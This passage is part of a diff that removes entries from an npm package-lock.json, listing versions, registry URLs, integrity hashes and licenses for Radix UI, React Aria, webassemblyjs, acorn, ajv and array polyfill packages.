- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-use-controllable-state": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-use-controllable-state/-/react-use-controllable-state-1.1.0.tgz",
- "integrity": "sha512-MtfMVJiSr2NjzS0Aa90NPTnvTSg6C/JLCV7ma0W6+OMV78vd8OyRpID+Ng9LxzsPbLeuBnWBA1Nq30AtBIDChw==",
- "dependencies": {
- "@radix-ui/react-use-callback-ref": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-use-escape-keydown": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-use-escape-keydown/-/react-use-escape-keydown-1.1.0.tgz",
- "integrity": "sha512-L7vwWlR1kTTQ3oh7g1O0CBF3YCyyTj8NmhLR+phShpyA50HCfBFKVJTpshm9PzLiKmehsrQzTYTpX9HvmC9rhw==",
- "dependencies": {
- "@radix-ui/react-use-callback-ref": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-use-layout-effect": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.1.0.tgz",
- "integrity": "sha512-+FPE0rOdziWSrH9athwI1R0HDVbWlEhd+FR+aSDk4uWGmSJ9Z54sdZVDQPZAinJhJXwfT+qnj969mCsT2gfm5w==",
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-use-rect": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-use-rect/-/react-use-rect-1.1.0.tgz",
- "integrity": "sha512-0Fmkebhr6PiseyZlYAOtLS+nb7jLmpqTrJyv61Pe68MKYW6OWdRE2kI70TaYY27u7H0lajqM3hSMMLFq18Z7nQ==",
- "dependencies": {
- "@radix-ui/rect": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-use-size": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-use-size/-/react-use-size-1.1.0.tgz",
- "integrity": "sha512-XW3/vWuIXHa+2Uwcc2ABSfcCledmXhhQPlGbfcRXbiUQI5Icjcg19BGCZVKKInYbvUCut/ufbbLLPFC5cbb1hw==",
- "dependencies": {
- "@radix-ui/react-use-layout-effect": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-visually-hidden": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.1.0.tgz",
- "integrity": "sha512-N8MDZqtgCgG5S3aV60INAB475osJousYpZ4cTJ2cFbMpdHS5Y6loLTH8LPtkj2QN0x93J30HT/M3qJXM0+lyeQ==",
- "dependencies": {
- "@radix-ui/react-primitive": "2.0.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/rect": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/rect/-/rect-1.1.0.tgz",
- "integrity": "sha512-A9+lCBZoaMJlVKcRBz2YByCG+Cp2t6nAnMnNba+XiWxnj6r4JUFqfsgwocMBZU9LPtdxC6wB56ySYpc7LQIoJg=="
- },
- "node_modules/@react-aria/button": {
- "version": "3.9.5",
- "license": "Apache-2.0",
- "dependencies": {
- "@react-aria/focus": "^3.17.1",
- "@react-aria/interactions": "^3.21.3",
- "@react-aria/utils": "^3.24.1",
- "@react-stately/toggle": "^3.7.4",
- "@react-types/button": "^3.9.4",
- "@react-types/shared": "^3.23.1",
- "@swc/helpers": "^0.5.0"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-aria/focus": {
- "version": "3.17.1",
- "license": "Apache-2.0",
- "dependencies": {
- "@react-aria/interactions": "^3.21.3",
- "@react-aria/utils": "^3.24.1",
- "@react-types/shared": "^3.23.1",
- "@swc/helpers": "^0.5.0",
- "clsx": "^2.0.0"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-aria/i18n": {
- "version": "3.11.1",
- "license": "Apache-2.0",
- "dependencies": {
- "@internationalized/date": "^3.5.4",
- "@internationalized/message": "^3.1.4",
- "@internationalized/number": "^3.5.3",
- "@internationalized/string": "^3.2.3",
- "@react-aria/ssr": "^3.9.4",
- "@react-aria/utils": "^3.24.1",
- "@react-types/shared": "^3.23.1",
- "@swc/helpers": "^0.5.0"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-aria/interactions": {
- "version": "3.21.3",
- "license": "Apache-2.0",
- "dependencies": {
- "@react-aria/ssr": "^3.9.4",
- "@react-aria/utils": "^3.24.1",
- "@react-types/shared": "^3.23.1",
- "@swc/helpers": "^0.5.0"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-aria/label": {
- "version": "3.7.8",
- "license": "Apache-2.0",
- "dependencies": {
- "@react-aria/utils": "^3.24.1",
- "@react-types/shared": "^3.23.1",
- "@swc/helpers": "^0.5.0"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-aria/listbox": {
- "version": "3.12.1",
- "license": "Apache-2.0",
- "dependencies": {
- "@react-aria/interactions": "^3.21.3",
- "@react-aria/label": "^3.7.8",
- "@react-aria/selection": "^3.18.1",
- "@react-aria/utils": "^3.24.1",
- "@react-stately/collections": "^3.10.7",
- "@react-stately/list": "^3.10.5",
- "@react-types/listbox": "^3.4.9",
- "@react-types/shared": "^3.23.1",
- "@swc/helpers": "^0.5.0"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0",
- "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-aria/overlays": {
- "version": "3.22.1",
- "license": "Apache-2.0",
- "dependencies": {
- "@react-aria/focus": "^3.17.1",
- "@react-aria/i18n": "^3.11.1",
- "@react-aria/interactions": "^3.21.3",
- "@react-aria/ssr": "^3.9.4",
- "@react-aria/utils": "^3.24.1",
- "@react-aria/visually-hidden": "^3.8.12",
- "@react-stately/overlays": "^3.6.7",
- "@react-types/button": "^3.9.4",
- "@react-types/overlays": "^3.8.7",
- "@react-types/shared": "^3.23.1",
- "@swc/helpers": "^0.5.0"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0",
- "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-aria/selection": {
- "version": "3.18.1",
- "license": "Apache-2.0",
- "dependencies": {
- "@react-aria/focus": "^3.17.1",
- "@react-aria/i18n": "^3.11.1",
- "@react-aria/interactions": "^3.21.3",
- "@react-aria/utils": "^3.24.1",
- "@react-stately/selection": "^3.15.1",
- "@react-types/shared": "^3.23.1",
- "@swc/helpers": "^0.5.0"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0",
- "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-aria/ssr": {
- "version": "3.9.4",
- "license": "Apache-2.0",
- "dependencies": {
- "@swc/helpers": "^0.5.0"
- },
- "engines": {
- "node": ">= 12"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-aria/utils": {
- "version": "3.24.1",
- "license": "Apache-2.0",
- "dependencies": {
- "@react-aria/ssr": "^3.9.4",
- "@react-stately/utils": "^3.10.1",
- "@react-types/shared": "^3.23.1",
- "@swc/helpers": "^0.5.0",
- "clsx": "^2.0.0"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-aria/visually-hidden": {
- "version": "3.8.12",
- "license": "Apache-2.0",
- "dependencies": {
- "@react-aria/interactions": "^3.21.3",
- "@react-aria/utils": "^3.24.1",
- "@react-types/shared": "^3.23.1",
- "@swc/helpers": "^0.5.0"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-stately/collections": {
- "version": "3.10.7",
- "license": "Apache-2.0",
- "dependencies": {
- "@react-types/shared": "^3.23.1",
- "@swc/helpers": "^0.5.0"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-stately/list": {
- "version": "3.10.5",
- "license": "Apache-2.0",
- "dependencies": {
- "@react-stately/collections": "^3.10.7",
- "@react-stately/selection": "^3.15.1",
- "@react-stately/utils": "^3.10.1",
- "@react-types/shared": "^3.23.1",
- "@swc/helpers": "^0.5.0"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-stately/overlays": {
- "version": "3.6.7",
- "license": "Apache-2.0",
- "dependencies": {
- "@react-stately/utils": "^3.10.1",
- "@react-types/overlays": "^3.8.7",
- "@swc/helpers": "^0.5.0"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-stately/selection": {
- "version": "3.15.1",
- "license": "Apache-2.0",
- "dependencies": {
- "@react-stately/collections": "^3.10.7",
- "@react-stately/utils": "^3.10.1",
- "@react-types/shared": "^3.23.1",
- "@swc/helpers": "^0.5.0"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-stately/toggle": {
- "version": "3.7.4",
- "license": "Apache-2.0",
- "dependencies": {
- "@react-stately/utils": "^3.10.1",
- "@react-types/checkbox": "^3.8.1",
- "@swc/helpers": "^0.5.0"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-stately/utils": {
- "version": "3.10.1",
- "license": "Apache-2.0",
- "dependencies": {
- "@swc/helpers": "^0.5.0"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-types/button": {
- "version": "3.9.4",
- "license": "Apache-2.0",
- "dependencies": {
- "@react-types/shared": "^3.23.1"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-types/checkbox": {
- "version": "3.8.1",
- "license": "Apache-2.0",
- "dependencies": {
- "@react-types/shared": "^3.23.1"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-types/listbox": {
- "version": "3.4.9",
- "license": "Apache-2.0",
- "dependencies": {
- "@react-types/shared": "^3.23.1"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-types/menu": {
- "version": "3.9.9",
- "license": "Apache-2.0",
- "dependencies": {
- "@react-types/overlays": "^3.8.7",
- "@react-types/shared": "^3.23.1"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-types/overlays": {
- "version": "3.8.7",
- "license": "Apache-2.0",
- "dependencies": {
- "@react-types/shared": "^3.23.1"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@react-types/shared": {
- "version": "3.23.1",
- "license": "Apache-2.0",
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0"
- }
- },
- "node_modules/@sinclair/typebox": {
- "version": "0.27.8",
- "license": "MIT"
- },
- "node_modules/@sinonjs/commons": {
- "version": "3.0.1",
- "license": "BSD-3-Clause",
- "dependencies": {
- "type-detect": "4.0.8"
- }
- },
- "node_modules/@sinonjs/fake-timers": {
- "version": "10.3.0",
- "license": "BSD-3-Clause",
- "dependencies": {
- "@sinonjs/commons": "^3.0.0"
- }
- },
- "node_modules/@swc/counter": {
- "version": "0.1.3",
- "license": "Apache-2.0"
- },
- "node_modules/@swc/helpers": {
- "version": "0.5.5",
- "license": "Apache-2.0",
- "dependencies": {
- "@swc/counter": "^0.1.3",
- "tslib": "^2.4.0"
- }
- },
- "node_modules/@tootallnate/once": {
- "version": "2.0.0",
- "license": "MIT",
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@types/istanbul-lib-coverage": {
- "version": "2.0.6",
- "license": "MIT"
- },
- "node_modules/@types/istanbul-lib-report": {
- "version": "3.0.3",
- "license": "MIT",
- "dependencies": {
- "@types/istanbul-lib-coverage": "*"
- }
- },
- "node_modules/@types/istanbul-reports": {
- "version": "3.0.4",
- "license": "MIT",
- "dependencies": {
- "@types/istanbul-lib-report": "*"
- }
- },
- "node_modules/@types/jsdom": {
- "version": "20.0.1",
- "license": "MIT",
- "dependencies": {
- "@types/node": "*",
- "@types/tough-cookie": "*",
- "parse5": "^7.0.0"
- }
- },
- "node_modules/@types/lodash": {
- "version": "4.17.5",
- "license": "MIT"
- },
- "node_modules/@types/lodash.mergewith": {
- "version": "4.6.7",
- "license": "MIT",
- "dependencies": {
- "@types/lodash": "*"
- }
- },
- "node_modules/@types/node": {
- "version": "22.5.0",
- "license": "MIT",
- "dependencies": {
- "undici-types": "~6.19.2"
- }
- },
- "node_modules/@types/parse-json": {
- "version": "4.0.2",
- "license": "MIT",
- "peer": true
- },
- "node_modules/@types/prop-types": {
- "version": "15.7.12",
- "license": "MIT",
- "optional": true,
- "peer": true
- },
- "node_modules/@types/react": {
- "version": "18.3.3",
- "license": "MIT",
- "optional": true,
- "peer": true,
- "dependencies": {
- "@types/prop-types": "*",
- "csstype": "^3.0.2"
- }
- },
- "node_modules/@types/stack-utils": {
- "version": "2.0.3",
- "license": "MIT"
- },
- "node_modules/@types/tough-cookie": {
- "version": "4.0.5",
- "license": "MIT"
- },
- "node_modules/@types/yargs": {
- "version": "17.0.33",
- "license": "MIT",
- "dependencies": {
- "@types/yargs-parser": "*"
- }
- },
- "node_modules/@types/yargs-parser": {
- "version": "21.0.3",
- "license": "MIT"
- },
- "node_modules/@vercel/blob": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@vercel/blob/-/blob-0.25.1.tgz",
- "integrity": "sha512-JqnDCGcoDH2gDF5Qgp5RGcDfrdR4IoOEnpS7CiDE15pw25/m1xE0CusjeZcjiBVBnLrLJCDuA9Ts77etOoCOeQ==",
- "dependencies": {
- "async-retry": "^1.3.3",
- "bytes": "^3.1.2",
- "is-buffer": "^2.0.5",
- "undici": "^5.28.4"
- },
- "engines": {
- "node": ">=16.14"
- }
- },
- "node_modules/@vercel/blob/node_modules/is-buffer": {
- "version": "2.0.5",
- "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz",
- "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==",
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/feross"
- },
- {
- "type": "patreon",
- "url": "https://www.patreon.com/feross"
- },
- {
- "type": "consulting",
- "url": "https://feross.org/support"
- }
- ],
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/@webassemblyjs/ast": {
- "version": "1.9.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@webassemblyjs/helper-module-context": "1.9.0",
- "@webassemblyjs/helper-wasm-bytecode": "1.9.0",
- "@webassemblyjs/wast-parser": "1.9.0"
- }
- },
- "node_modules/@webassemblyjs/floating-point-hex-parser": {
- "version": "1.9.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/@webassemblyjs/helper-api-error": {
- "version": "1.9.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/@webassemblyjs/helper-buffer": {
- "version": "1.9.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/@webassemblyjs/helper-code-frame": {
- "version": "1.9.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@webassemblyjs/wast-printer": "1.9.0"
- }
- },
- "node_modules/@webassemblyjs/helper-fsm": {
- "version": "1.9.0",
- "license": "ISC",
- "peer": true
- },
- "node_modules/@webassemblyjs/helper-module-context": {
- "version": "1.9.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@webassemblyjs/ast": "1.9.0"
- }
- },
- "node_modules/@webassemblyjs/helper-wasm-bytecode": {
- "version": "1.9.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/@webassemblyjs/helper-wasm-section": {
- "version": "1.9.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@webassemblyjs/ast": "1.9.0",
- "@webassemblyjs/helper-buffer": "1.9.0",
- "@webassemblyjs/helper-wasm-bytecode": "1.9.0",
- "@webassemblyjs/wasm-gen": "1.9.0"
- }
- },
- "node_modules/@webassemblyjs/ieee754": {
- "version": "1.9.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@xtuc/ieee754": "^1.2.0"
- }
- },
- "node_modules/@webassemblyjs/leb128": {
- "version": "1.9.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@xtuc/long": "4.2.2"
- }
- },
- "node_modules/@webassemblyjs/utf8": {
- "version": "1.9.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/@webassemblyjs/wasm-edit": {
- "version": "1.9.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@webassemblyjs/ast": "1.9.0",
- "@webassemblyjs/helper-buffer": "1.9.0",
- "@webassemblyjs/helper-wasm-bytecode": "1.9.0",
- "@webassemblyjs/helper-wasm-section": "1.9.0",
- "@webassemblyjs/wasm-gen": "1.9.0",
- "@webassemblyjs/wasm-opt": "1.9.0",
- "@webassemblyjs/wasm-parser": "1.9.0",
- "@webassemblyjs/wast-printer": "1.9.0"
- }
- },
- "node_modules/@webassemblyjs/wasm-gen": {
- "version": "1.9.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@webassemblyjs/ast": "1.9.0",
- "@webassemblyjs/helper-wasm-bytecode": "1.9.0",
- "@webassemblyjs/ieee754": "1.9.0",
- "@webassemblyjs/leb128": "1.9.0",
- "@webassemblyjs/utf8": "1.9.0"
- }
- },
- "node_modules/@webassemblyjs/wasm-opt": {
- "version": "1.9.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@webassemblyjs/ast": "1.9.0",
- "@webassemblyjs/helper-buffer": "1.9.0",
- "@webassemblyjs/wasm-gen": "1.9.0",
- "@webassemblyjs/wasm-parser": "1.9.0"
- }
- },
- "node_modules/@webassemblyjs/wasm-parser": {
- "version": "1.9.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@webassemblyjs/ast": "1.9.0",
- "@webassemblyjs/helper-api-error": "1.9.0",
- "@webassemblyjs/helper-wasm-bytecode": "1.9.0",
- "@webassemblyjs/ieee754": "1.9.0",
- "@webassemblyjs/leb128": "1.9.0",
- "@webassemblyjs/utf8": "1.9.0"
- }
- },
- "node_modules/@webassemblyjs/wast-parser": {
- "version": "1.9.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@webassemblyjs/ast": "1.9.0",
- "@webassemblyjs/floating-point-hex-parser": "1.9.0",
- "@webassemblyjs/helper-api-error": "1.9.0",
- "@webassemblyjs/helper-code-frame": "1.9.0",
- "@webassemblyjs/helper-fsm": "1.9.0",
- "@xtuc/long": "4.2.2"
- }
- },
- "node_modules/@webassemblyjs/wast-printer": {
- "version": "1.9.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@webassemblyjs/ast": "1.9.0",
- "@webassemblyjs/wast-parser": "1.9.0",
- "@xtuc/long": "4.2.2"
- }
- },
- "node_modules/@xtuc/ieee754": {
- "version": "1.2.0",
- "license": "BSD-3-Clause",
- "peer": true
- },
- "node_modules/@xtuc/long": {
- "version": "4.2.2",
- "license": "Apache-2.0",
- "peer": true
- },
- "node_modules/@zag-js/dom-query": {
- "version": "0.16.0",
- "license": "MIT"
- },
- "node_modules/@zag-js/element-size": {
- "version": "0.10.5",
- "license": "MIT"
- },
- "node_modules/@zag-js/focus-visible": {
- "version": "0.16.0",
- "license": "MIT",
- "dependencies": {
- "@zag-js/dom-query": "0.16.0"
- }
- },
- "node_modules/abab": {
- "version": "2.0.6",
- "license": "BSD-3-Clause"
- },
- "node_modules/acorn": {
- "version": "6.4.2",
- "license": "MIT",
- "peer": true,
- "bin": {
- "acorn": "bin/acorn"
- },
- "engines": {
- "node": ">=0.4.0"
- }
- },
- "node_modules/acorn-globals": {
- "version": "7.0.1",
- "license": "MIT",
- "dependencies": {
- "acorn": "^8.1.0",
- "acorn-walk": "^8.0.2"
- }
- },
- "node_modules/acorn-globals/node_modules/acorn": {
- "version": "8.12.1",
- "license": "MIT",
- "bin": {
- "acorn": "bin/acorn"
- },
- "engines": {
- "node": ">=0.4.0"
- }
- },
- "node_modules/acorn-jsx": {
- "version": "5.3.2",
- "dev": true,
- "license": "MIT",
- "peerDependencies": {
- "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0"
- }
- },
- "node_modules/acorn-walk": {
- "version": "8.3.3",
- "license": "MIT",
- "dependencies": {
- "acorn": "^8.11.0"
- },
- "engines": {
- "node": ">=0.4.0"
- }
- },
- "node_modules/acorn-walk/node_modules/acorn": {
- "version": "8.12.1",
- "license": "MIT",
- "bin": {
- "acorn": "bin/acorn"
- },
- "engines": {
- "node": ">=0.4.0"
- }
- },
- "node_modules/agent-base": {
- "version": "6.0.2",
- "license": "MIT",
- "dependencies": {
- "debug": "4"
- },
- "engines": {
- "node": ">= 6.0.0"
- }
- },
- "node_modules/ajv": {
- "version": "6.12.6",
- "license": "MIT",
- "dependencies": {
- "fast-deep-equal": "^3.1.1",
- "fast-json-stable-stringify": "^2.0.0",
- "json-schema-traverse": "^0.4.1",
- "uri-js": "^4.2.2"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/epoberezkin"
- }
- },
- "node_modules/ajv-errors": {
- "version": "1.0.1",
- "license": "MIT",
- "peerDependencies": {
- "ajv": ">=5.0.0"
- }
- },
- "node_modules/ajv-keywords": {
- "version": "3.5.2",
- "license": "MIT",
- "peerDependencies": {
- "ajv": "^6.9.1"
- }
- },
- "node_modules/ansi-escapes": {
- "version": "7.0.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "environment": "^1.0.0"
- },
- "engines": {
- "node": ">=18"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/ansi-regex": {
- "version": "6.0.1",
- "license": "MIT",
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-regex?sponsor=1"
- }
- },
- "node_modules/ansi-styles": {
- "version": "3.2.1",
- "license": "MIT",
- "dependencies": {
- "color-convert": "^1.9.0"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/any-promise": {
- "version": "1.3.0",
- "license": "MIT"
- },
- "node_modules/anymatch": {
- "version": "3.1.3",
- "license": "ISC",
- "dependencies": {
- "normalize-path": "^3.0.0",
- "picomatch": "^2.0.4"
- },
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/aproba": {
- "version": "1.2.0",
- "license": "ISC",
- "peer": true
- },
- "node_modules/arg": {
- "version": "5.0.2",
- "license": "MIT"
- },
- "node_modules/argparse": {
- "version": "2.0.1",
- "dev": true,
- "license": "Python-2.0"
- },
- "node_modules/aria-hidden": {
- "version": "1.2.4",
- "license": "MIT",
- "dependencies": {
- "tslib": "^2.0.0"
- },
- "engines": {
- "node": ">=10"
- }
- },
- "node_modules/arr-diff": {
- "version": "4.0.0",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/arr-flatten": {
- "version": "1.1.0",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/arr-union": {
- "version": "3.1.0",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/array-buffer-byte-length": {
- "version": "1.0.1",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.5",
- "is-array-buffer": "^3.0.4"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/array-includes": {
- "version": "3.1.8",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-abstract": "^1.23.2",
- "es-object-atoms": "^1.0.0",
- "get-intrinsic": "^1.2.4",
- "is-string": "^1.0.7"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/array-union": {
- "version": "1.0.2",
- "license": "MIT",
- "dependencies": {
- "array-uniq": "^1.0.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/array-uniq": {
- "version": "1.0.3",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/array-unique": {
- "version": "0.3.2",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/array.prototype.findlast": {
- "version": "1.2.5",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-abstract": "^1.23.2",
- "es-errors": "^1.3.0",
- "es-object-atoms": "^1.0.0",
- "es-shim-unscopables": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/array.prototype.flat": {
- "version": "1.3.2",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.2",
- "define-properties": "^1.2.0",
- "es-abstract": "^1.22.1",
- "es-shim-unscopables": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/array.prototype.flatmap": {
- "version": "1.3.2",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.2",
- "define-properties": "^1.2.0",
- "es-abstract": "^1.22.1",
- "es-shim-unscopables": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/array.prototype.tosorted": {
- "version": "1.1.4",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-abstract": "^1.23.3",
- "es-errors": "^1.3.0",
- "es-shim-unscopables": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/arraybuffer.prototype.slice": {
- "version": "1.0.3",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "array-buffer-byte-length": "^1.0.1",
- "call-bind": "^1.0.5",
- "define-properties": "^1.2.1",
- "es-abstract": "^1.22.3",
- "es-errors": "^1.2.1",
- "get-intrinsic": "^1.2.3",
- "is-array-buffer": "^3.0.4",
- "is-shared-array-buffer": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/arrify": {
- "version": "1.0.1",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/asn1.js": {
- "version": "4.10.1",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "bn.js": "^4.0.0",
- "inherits": "^2.0.1",
- "minimalistic-assert": "^1.0.0"
- }
- },
- "node_modules/asn1.js/node_modules/bn.js": {
- "version": "4.12.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/assert": {
- "version": "1.5.1",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "object.assign": "^4.1.4",
- "util": "^0.10.4"
- }
- },
- "node_modules/assert/node_modules/inherits": {
- "version": "2.0.3",
- "license": "ISC",
- "peer": true
- },
- "node_modules/assert/node_modules/util": {
- "version": "0.10.4",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "inherits": "2.0.3"
- }
- },
